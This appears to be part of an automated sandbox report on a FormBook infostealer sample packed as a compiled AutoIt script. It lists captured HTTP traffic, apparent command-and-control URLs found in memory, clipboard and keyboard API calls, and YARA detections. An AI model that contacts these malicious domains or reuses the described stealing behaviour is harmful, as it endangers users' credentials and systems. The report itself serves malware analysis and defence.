6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: awselb/2.0Date: Fri, 13 Sep 2024 17:31:35 GMTContent-Length: 0Connection: closeWAFRule: 5
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: 894_HTTP.404expires: Wed, 11 Jan 1984 05:00:00 GMTcontent-type: text/html; charset=UTF-8link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"x-litespeed-cache-control: no-cachecache-control: no-cache, no-store, must-revalidate, max-age=0transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Fri, 13 Sep 2024 17:31:44 GMTserver: LiteSpeedData Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 a2 3b 25 f5 33 38 54 d5 ac d1 9e 9e 85 fd 5a 42 7d 9c ed cb c1 0a 07 12 a1 c2 17 41 78 3d d2 5a 04 69 74 c6 73 07 f2 d2 b0 73 b7 6d c1 6f 88 cd c0 8d 65 b0 7f ef 59 8b d8 64 84 ae a3 ec 67 d3 75 a8 83 27 50 0a a2 46 69 ca ef 14 a1 c7 2e 3a 3f fd db f8 34 58 ec cc 57 f9 1e 43 90 fa e0 a1 82 91 ec 85 c7 8f 4e 91 32 92 e3 3e 64 0f 99 67 03 33 ee f0 b0 2a 4d b7 87 ac 36 0e 1f 32 04 2f e3 43 96 2f 19 67 f3 87 6c 5d 9c d7 c5 43 46 52 82 e7 40 4a 72 fa 8b e7 43 4a fc e9 80 33 eb 4f 87 8f 36 7f 3a fc fa fd 2e 7f ba 24 d3 bb 1a 49 39 92 da e8 5a 84 a0 82 66 88 c2 22 97 67 3e 64 83 a5 15 40 ee 21 fb ea 67 42 bc 77 9c 3a 54 28 3c b2 4e 6a f6 d5 7f 7f 42 57 ad d8 8a 15 e4 7a dd 46 d9 cb 9b 7d 36 9c 5c 2b 15 82 f4 20 fa 60 e8 be 01 e6 c6 06 5e 66 d1 cd ca 3f 97 1b cb 54 27 e3 49 38 30 a9 4f 71 bb ac 3b d4 31 26 63 70 97 e5 ad a1 1a f7 6b b8 d0 07 f4 c1 97 98 b6 22 e9 b2 ae 6e 4c d8 61 f0 fe 14 5e b7 71 72 dd 7a f4 5e 1a fd 3e 18 27 0e c8 3c 86 3f 03 76 b1 49 ff 7a ff fa 3f cc 07 27 f5 41 b6 97 38 24 c9 b5 52 6e 1d af 57 12 7e 5e 1b 63 1a 52 9d 8c c8 f6 4e 7d 2d de 61 1d 62 9e f2 14 59 2d f4 49 78 56 5f a8 59 72 d7 96 d7 2a 49 91 b5 52 a9 0f 78 0e 71 48 79 ca 93 6d 22 de a0 35 0e f0 51 ea 30 2f 7e 74 4e 5c 62 64 Data Ascii: 2d1b-QG0R|"!|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Fri, 13 Sep 2024 17:31:55 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 31 0b c2 30 10 85 77 c1 ff 70 6e 3a a4 69 a5 63 c8 22 0a 0e ba 88 3f 20 f5 ce 36 90 5e 24 a6 60 ff bd a9 b6 20 ce 8e 8e f7 ee 7b 8f c7 53 4d 6c 9d 9e cf 54 43 06 b5 8a 36 3a d2 65 5e c2 d1 47 d8 f9 8e 51 c9 b7 a8 e4 0b 49 68 e5 b1 1f 2c 17 e2 48 41 ab a6 f8 76 24 45 c9 f1 3d 64 27 68 bc b8 b6 fc 90 45 b6 2e b3 1c 96 e7 aa e3 d8 ad 3e 59 39 a5 cb a9 d9 42 08 30 70 33 88 96 6b 88 1e d0 de 4d e5 08 0e a7 fd 16 0c 23 6c 9a e0 5b 82 6b b0 c4 e8 7a a0 10 7c 48 8e 9a 40 88 a1 e9 3f e2 97 5b 3c 01 f0 75 41 1e 34 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b910wpn:ic"? 6^$` {SMlTC6:e^GQIh,HAv$E=d'hE.>Y9B0p3kM#l[kz|H@?[<uA40
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Fri, 13 Sep 2024 17:31:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 31 0b c2 30 10 85 77 c1 ff 70 6e 3a a4 69 a5 63 c8 22 0a 0e ba 88 3f 20 f5 ce 36 90 5e 24 a6 60 ff bd a9 b6 20 ce 8e 8e f7 ee 7b 8f c7 53 4d 6c 9d 9e cf 54 43 06 b5 8a 36 3a d2 65 5e c2 d1 47 d8 f9 8e 51 c9 b7 a8 e4 0b 49 68 e5 b1 1f 2c 17 e2 48 41 ab a6 f8 76 24 45 c9 f1 3d 64 27 68 bc b8 b6 fc 90 45 b6 2e b3 1c 96 e7 aa e3 d8 ad 3e 59 39 a5 cb a9 d9 42 08 30 70 33 88 96 6b 88 1e d0 de 4d e5 08 0e a7 fd 16 0c 23 6c 9a e0 5b 82 6b b0 c4 e8 7a a0 10 7c 48 8e 9a 40 88 a1 e9 3f e2 97 5b 3c 01 f0 75 41 1e 34 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b910wpn:ic"? 6^$` {SMlTC6:e^GQIh,HAv$E=d'hE.>Y9B0p3kM#l[kz|H@?[<uA40
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Fri, 13 Sep 2024 17:32:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 31 0b c2 30 10 85 77 c1 ff 70 6e 3a a4 69 a5 63 c8 22 0a 0e ba 88 3f 20 f5 ce 36 90 5e 24 a6 60 ff bd a9 b6 20 ce 8e 8e f7 ee 7b 8f c7 53 4d 6c 9d 9e cf 54 43 06 b5 8a 36 3a d2 65 5e c2 d1 47 d8 f9 8e 51 c9 b7 a8 e4 0b 49 68 e5 b1 1f 2c 17 e2 48 41 ab a6 f8 76 24 45 c9 f1 3d 64 27 68 bc b8 b6 fc 90 45 b6 2e b3 1c 96 e7 aa e3 d8 ad 3e 59 39 a5 cb a9 d9 42 08 30 70 33 88 96 6b 88 1e d0 de 4d e5 08 0e a7 fd 16 0c 23 6c 9a e0 5b 82 6b b0 c4 e8 7a a0 10 7c 48 8e 9a 40 88 a1 e9 3f e2 97 5b 3c 01 f0 75 41 1e 34 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b910wpn:ic"? 6^$` {SMlTC6:e^GQIh,HAv$E=d'hE.>Y9B0p3kM#l[kz|H@?[<uA40
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Fri, 13 Sep 2024 17:32:03 GMTContent-Type: text/htmlContent-Length: 564Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
            Source: RmClient.exe, 00000006.00000002.3585223608.0000000003E7E000.00000004.10000000.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000002.3584244391.0000000003C9E000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://tempatmudisini01.click/r9rj/?4N=aogCWYQt76vYu0d4luZRp
            Source: RmClient.exe, 00000006.00000002.3586830343.0000000005A00000.00000004.00000800.00020000.00000000.sdmp, RmClient.exe, 00000006.00000002.3585223608.0000000003B5A000.00000004.10000000.00040000.00000000.sdmp, ORAQROHXYZcgef.exe, 00000007.00000002.3584244391.000000000397A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.gemtastic.shop/junu?gp=1&js=1&uuid=1726248682.9783899546&other_args=eyJ1cmkiOiAiL2p1bnUiL
            Source: ORAQROHXYZcgef.exe, 00000007.00000002.3585550926.000000000556A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.luismoreno.monster
            Source: ORAQROHXYZcgef.exe, 00000007.00000002.3585550926.000000000556A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.luismoreno.monster/3t5s/
            Source: ORAQROHXYZcgef.exe, 00000007.00000002.3584244391.000000000397A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://www70.gemtastic.shop/
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
            Source: RmClient.exe, 00000006.00000002.3582680606.000000000269B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: RmClient.exe, 00000006.00000002.3582680606.00000000026CD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: RmClient.exe, 00000006.00000002.3582680606.000000000269B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: RmClient.exe, 00000006.00000002.3582680606.000000000269B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033V
            Source: RmClient.exe, 00000006.00000002.3582680606.000000000269B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: RmClient.exe, 00000006.00000002.3582680606.000000000269B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: RmClient.exe, 00000006.00000003.2422782092.000000000742D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: RmClient.exe, 00000006.00000002.3587011673.000000000744E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0092EA26 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0092EA26
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0092EC91 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0092EC91
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0092EA26 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0092EA26
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0091A975 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,0_2_0091A975
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00949468 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00949468

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Binary is likely a compiled AutoIt script file
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: This is a third-party compiled AutoIt script.0_2_008B445D
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeString found in binary or memory: This is a third-party compiled AutoIt script.
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_3882e06d-6
            Source: SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe, 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainermemstr_3c317a83-0
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008B4B9B NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,0_2_008B4B9B
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0094A1F1 NtdllDialogWndProc_W,0_2_0094A1F1
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CA119 NtdllDialogWndProc_W,0_2_008CA119
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CA5C7 NtdllDialogWndProc_W,0_2_008CA5C7
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009486A4 NtdllDialogWndProc_W,CallWindowProcW,0_2_009486A4
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CA61C NtdllDialogWndProc_W,0_2_008CA61C
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0094899C NtdllDialogWndProc_W,0_2_0094899C
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00948CBB NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,0_2_00948CBB
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CAC40 GetParent,NtdllDialogWndProc_W,0_2_008CAC40
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_008CADFD NtdllDialogWndProc_W,GetSysColor,SetBkColor,745EC8D0,NtdllDialogWndProc_W,0_2_008CADFD
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00948D1E NtdllDialogWndProc_W,0_2_00948D1E
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00948EBB GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,0_2_00948EBB
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00948F93 SendMessageW,NtdllDialogWndProc_W,0_2_00948F93
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00949010 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,0_2_00949010
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009492BD NtdllDialogWndProc_W,0_2_009492BD
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_009492F2 ClientToScreen,NtdllDialogWndProc_W,0_2_009492F2
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00949272 NtdllDialogWndProc_W,0_2_00949272
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_0094942C GetWindowLongW,NtdllDialogWndProc_W,0_2_0094942C
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00949468 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00949468
            Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exeCode function: 0_2_00949DE5 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,0_2_00949DE5
